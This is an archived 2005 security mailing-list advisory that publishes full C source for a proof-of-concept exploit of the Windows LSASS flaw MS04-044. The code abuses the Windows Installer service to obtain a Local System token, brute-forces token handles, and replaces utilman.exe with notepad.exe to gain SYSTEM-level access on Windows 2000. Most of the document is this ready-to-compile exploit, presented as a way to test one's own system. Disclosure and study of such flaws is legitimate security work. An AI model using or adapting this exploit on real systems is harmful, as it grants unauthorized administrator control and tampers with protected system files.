[EXPL] Windows LSASS Exploit Code (MS04-044)

From: SecuriTeam (support_at_securiteam.com)
Date: 01/11/05

  • Next message: SecuriTeam: "[NT] Microsoft Windows Improper Token Validation" 
    To: list@securiteam.com
Date: 11 Jan 2005 13:02:35 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Windows LSASS Exploit Code (MS04-044)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported by in previous article:
    <http://www.securiteam.com/windowsntfocus/6M00F1FC0I.html> Vulnerabilities
    in Windows Kernel and LSASS Allows Elevation of Privilege (MS04-044), a
    vulnerability in Windows's LSASS allows a local attacker to gain elevated
    privileges, the following exploit code can be used to test your system for
    the mentioned vulnerability.

    DETAILS

    Exploit:
    // Impersonation POC Exploit
    // Works on Win2k all service packs
    // by Cesar Cerrudo (sqlsec>at<yahoo>dot<com)
    // http://www.microsoft.com/technet/security/bulletin/MS04-044.mspx - SECU
    // (*1*) If it doesn't work try again and research yourself. Don't ask me.

    #include "stdafx.h"
    #include "windows.h"
    #include "stdio.h"

    #define INFO_BUFFER_SIZE MAX_COMPUTERNAME_LENGTH + 1
    #define PATH_SIZE INFO_BUFFER_SIZE + MAX_PATH + 4
    typedef UINT (WINAPI* PFnMsiInstallProduct)(LPCSTR szPackagePath, LPCSTR
    szCommandLine);

    int main(int argc, char* argv[])
    {
            HANDLE hToken,hThread;
            HMODULE hMsi = 0;
            CHAR infoBuf[INFO_BUFFER_SIZE];
            DWORD bufCharCount = INFO_BUFFER_SIZE;
            CHAR file1[PATH_SIZE]="\\\\";
            CHAR file2[PATH_SIZE]="\\\\";
            CHAR file3[PATH_SIZE]="\\\\";
            
            //Get name of the computer.
            GetComputerName(infoBuf, &bufCharCount);
            
            hThread=GetCurrentThread();
            hMsi = LoadLibrary("msi.dll");

            //Invoke windows installer service in order to steal a Local
    System account identity token.
            //Curious? some internal LPC magic here, see *1*
            PFnMsiInstallProduct MsiInstallProduct = 0;
            MsiInstallProduct = (PFnMsiInstallProduct)GetProcAddress(hMsi,
    "MsiInstallProductA");
            MsiInstallProduct("","");
       
            //Get Local System account identity token and set it to current
    thread
            hToken=(void*)0x1;
            while(SetThreadToken(&hThread,hToken)==NULL){
                    hToken=(void*)((int)hToken+1);
            }

            strcat(file1,infoBuf);
            strcat(file1,"\\C$\\winnt\\system32\\utilman.exe");
        
            strcat(file2,infoBuf);
            strcat(file2,"\\C$\\winnt\\system32\\utilmanback.exe");
        
            strcat(file3,infoBuf);
            strcat(file3,"\\C$\\winnt\\system32\\notepad.exe");

            //Replace Utility Manager with Notepad impersonating Local System
    account
            //BTW: *** Windows file protection :)
            if(!CopyFile(file1,file2, TRUE))
                    printf("CopyFile() failed: %d\n", GetLastError());
            else
                    if(!CopyFile(file3,file1, FALSE))
                            printf("CopyFile() failed: %d\n", GetLastError());
                    else {
                            printf("\nPress WinKey+U to run Notepad as Local
    System\n");
                            printf("Remember to restore original utilman.exe
    from utilmanback.exe\n");
                    }

            Sleep(5000);
            return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:cesarc56@yahoo.com> Cesar.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NT] Microsoft Windows Improper Token Validation"

    Relevant Pages